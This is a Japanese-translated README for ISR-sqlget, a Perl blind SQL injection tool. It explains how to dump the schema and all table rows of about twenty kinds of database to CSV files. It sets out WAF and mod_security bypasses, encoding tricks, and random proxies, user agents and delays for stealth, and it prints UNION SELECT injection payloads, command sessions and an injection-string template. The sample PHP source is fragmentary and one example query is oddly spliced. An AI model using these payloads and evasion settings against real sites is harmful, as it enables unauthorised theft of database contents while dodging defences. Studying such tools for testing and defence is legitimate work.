
ISR-sqlget これはPerlで開発されたブラインドSQLインジェクションツールです。
-- ISR - Infobyte セキュリティリサーチ -- | ISR-sqlget | www.infobytesec.com |
..:: 説明
ISR-sqlget: Perlで開発されたブラインドSQLインジェクションツールです。 データベーススキーマとテーブル行を取得できます。 単一のGET/POSTを使用して、データベース構造に静かにアクセスできます。 また、単一のGET/POSTを使用して、すべてのテーブル行をCSV形式のファイルにダンプできます。
サポートされているデータベース:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
回避機能:
- 全角/半角Unicodeエンコード
- Apacheの非標準CRバイパス
- mod_securityバイパス
- ランダム大文字リクエスト変換
- PHP Magicquotes: 各文字列をデータベースのCHR関数などでエンコード
- リクエストを16進数値に変換
- /**/ や (\t) タブの非スペース置換を回避
- || や + 以外の結合をデータベースのconcat関数などで回避
- ランダムUser-Agent
- ランダムプロキシサーバー
- ランダム遅延リクエスト
共通機能:
- データベーススキーマダウンロードブラックリスト
- Cookie配列対応
- SSL対応
- プロキシサーバー対応
- データベース情報をCSV形式でダンプ
レポート:
- インパクトのあるエグゼクティブレポートを作成するためのデータベース構造のグラフ化
require Graphviz library (http://www.graphviz.org/)
..:: 使用方法
このツールには次の情報が必要です:
可能なアクションは次のとおりです:
最初:
1. データベーススキーマを取得。
次に:
2.a テーブル行を取得(CSV形式)。
2.b データベーススキーマのグラフィックを取得。
..:: 例:
ターゲット: http://target.infobytesec.com/helloworld.php?id=
helloworld.php ソース:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>セッションの例(設定ファイル)を読む: ./helloworld.pm
データベーススキーマを取得:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; アクション: dbschemaを取得, セッション名: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
これにより、ローカルスキーマファイルが次の場所に生成されます: ./template/helloworld.dbschema
次にテーブル行を取得:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;アクション: DBDATAを取得, セッション名: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;アクション: DBDATAを取得, セッション名: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;ソーステーブルを保存: ./datos/helloworld.company.clients.sql.html ;CSVテーブルを保存: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
ディレクトリ "./datos/" には、テーブルごとに次の2つのファイルが作成されます:
[sessionname].[database].[table].sql.html # HTMLソース [sessionname].[database].[table].csv # カンマ区切り値
"./datos" はセッション設定ファイルの $conf::outputdb パラメータで指定できます。
..:: 高度な設定
このツールはSELECT SQLクエリにおいて、text/varchar等の1つのカラム型のみ使用します。 UNION文を使用して、"[__]"を区切り文字としてそのカラム内のすべてのデータベーススキーマを取得できます。
ローカルデータベーススキーマを既に保存している場合、次のことが可能です:
1.a テーブル行を取得: 同じ手法を使用して、データベース内のすべてのテーブルのすべての行を取得できます。テキストと互換性のないデータ型のカラムは、データベース独自の関数を使用してテキスト型に変換されます。
1.b データベーススキーマのグラフィックを取得。
このツールは各アクションに対してセッション設定ファイルを使用します。 この設定ファイルはSQLインジェクションを悪用するために必要なパラメータを定義します。 パラメータ @conf::path は、ツールが生HTMLを解析する方法を指定します。
ヘルプ詳細:
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: パーサーモジュールをチェック -t: テストページを取得 -a: すべてのデータベース名を取得(MSSQLのみ) -s: データベースの構造を取得 -d: データベースの情報を取得(CSV形式) -g: データベースのグラフィック構造(GIF形式)
Options: -n: セッション名 -p:(-cアクションと併用、モジュールをチェックするためのソースページを指定); デフォルト ./template/$SESSION.testpage -v: 詳細表示 -h: ヘルプ
-t: セッションファイルを使用して、後でアクション「-c」で生HTMLをパースするための短いデータシステムテーブルを取得します。 -c: デフォルトでは ./template/[session-name].testpage を使用します。生HTMLパーサーの開発とテストに使用します。 「-p」オプションで別のHTMLファイルを選択できます。
-a: すべてのDBエンジンは以下の順序でテーブル行を取得します: 1. 「-s」で構造を取得(データベーススキーマをローカルファイルに保存)。 2. 「-d」でテーブルデータを取得。
MSSQLシステムテーブルのため、以下の事前手順を追加する必要があります:
1. 「-a」でデータベース/スキーマ/カタログのすべてのデータベース名を取得(名前をローカルファイルに保存)。
2. 「-s」で構造を取得(データベーススキーマをローカルファイルに保存)。
3. 「-d」でテーブルデータを取得。
-s: 構造を取得(データベーススキーマをローカルファイルに保存)。
-d: テーブルデータを取得。
-g: 前に取得したローカルデータベーススキーマファイルを使用して、データベースのグラフィックスキーマを取得(GIF形式)。
-n: セッション設定ファイルの名前を指定します。
..:: 注意事項
./pmschanges.txt: 修正バージョンのLWP、Net::HTTPを使用しています。このファイルは修正内容を説明しています。
./dbs/isr_*: 各データベースモジュールには @space 変数があり、有効な空白の種類を指定します。 例: my @space=(' ',"\t","/**/"); #すべての空白
..:: セッションファイルオプション:
@conf::path #パラメータ @conf::path は、ツールが生HTMLを解析する方法を指定します。 #HTML::TreeBuilderを使用した埋め込みPerlコードを使用して生HTMLをパースします。 #最初の設定は、必要なHTMLタグ名のツリー配列です。 最後のHTMLタグ名はPerlコードで処理されます。
./examples/ の例を参照してください。 example[n].html session[n].pm
$conf::site #脆弱なアプリケーションがあるサイト
$conf::script #脆弱なスクリプトファイル
$conf::method #メソッド 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (apache method bypass)
$conf::inj #UNION文を含むPOST/GETパラメータ #後で動的情報に置き換えられる変数を使用します。
変数:
<VALUE> = すべての情報を取得するために使用するカラム。
<TABLE> = テーブルセクション。
<WHERE> = WHEREセクション。
<TAIL> = SQL文の最終部分。
例: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";
$conf::where #UNIONテーブルに例外を追加する必要がある場合に使用します。 #一部のデータベース構造クエリには "WHERE" が含まれているため、このパラメータが必要です。
$conf::tail #SQL文の最終部分。 $conf::param #パラメータスタイル = Post形式 1, URL形式 0 Post形式= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa
URL形式:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0
$conf::dbtype #データベースバックエンド
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)
7 - Mimer (www.mimer.com)
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)
10 - Hsqldb (www.hsqldb.org)
11 - SQLite
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)
20 - SQLBase (http://www.unify.com)
$conf::session #セッション名(セッション設定ファイルの .pm 拡張子を除いた同じ名前を使用) $conf::outputdb #ダンプしたテーブル行のパス
######### プロキシ $conf::proxy_host #プロキシサポート例: 'http://user:pass@host:port/'; $conf::rproxy #ランダムプロキシ 1で有効、0で無効 $conf::rproxyfile #プロキシランダムファイル($conf::proxy_host と同じ形式を使用)
######### フィルター $conf::space #空白回避: 0で空白有効、1で空白 ' ' をタブ '\t' に置換、 #2で空白 ' ' をコメント '/**/' に置換
$conf::apache_espace #HTTP/sリクエスト内のCR値を指定可能
#例:
$conf::apache_espace_rnd=1; #CR(0x0b, 0x0c, 0x0d)のランダム組み合わせ $conf::apache_espace_rmaxn=10; #最大ランダム文字数 #この例では、CR(0x0b, 0x0c, 0x0d)を1から10までランダム化します: #参照: http://www.osvdb.org/25837
$conf::mod_security #1でmodsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) のバイパスを有効 #参照: http://www.php-security.org/MOPB/BONUS-12-2007.html
$conf::full_width #1で全角エンコードバイパスを有効 $conf::ruseragent #1でランダムUser-Agent使用を有効 $conf::ruseragentfile #User-Agentファイルリスト $conf::uagent #デフォルトUser-Agent $conf::delay #接続間の遅延 $conf::rdelay #1で接続間の最大遅延をランダムに有効化。最大値として $conf::delay を使用 $conf::magicquotes #1でmagicquotes回避を有効(各データベースでCHR関数などを使用) $conf::convertall_hex #1ですべてのパラメータ値を16進形式に変換(%41,%61) $conf::rnd_uppercase #1で大文字ランダム変換を有効
######## MSSQL専用フィルター $conf::scape_plas #1で有効。スクリプトが '+' を受信できない場合にCONCAT関数を使用(文字列連結として使用) $conf::convertall_str #1で全カラムを文字列に変換(推奨) $conf::scape_output_less #1で有効。スクリプトが '|' を送信できない場合にデータベース関数で置換
######## Oracle/DB2/Virtuoso/H2/Mckoi/Ingres/MonetDB/MaxDB/ThinkSQL専用フィルター $conf::scape_pipe #スクリプトが '|' を受信できない場合にCONCAT関数などを使用(文字列連結として使用)
$conf::deny_dbname #処理しないデータベース名の配列(ブラックリスト) 例の値 = {'WMSYS' => 1, 'SYS' => 1 };
#Cookie $conf::cookie #1でCookie配列を有効 @conf::cookies #使用するCookieの配列 例の値 = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });
#グラフィックオプション(詳細はGraphViz Perlモジュールのヘルプを参照) $conf::graphdir = './graph/'; #グラフィックファイルの出力先ディレクトリ $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0=カラムをグラフ化しない 1=カラムをグラフ化
..:: 必要条件
1 - Perlモジュール: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz
2 - ライブラリ GraphVizプロジェクト (http://www.graphviz.org/)
..:: ダウンロード
http://www.infobytesec.com/development.html
..:: 著者 Francisco Amato famato+at+infobytesec+dot+com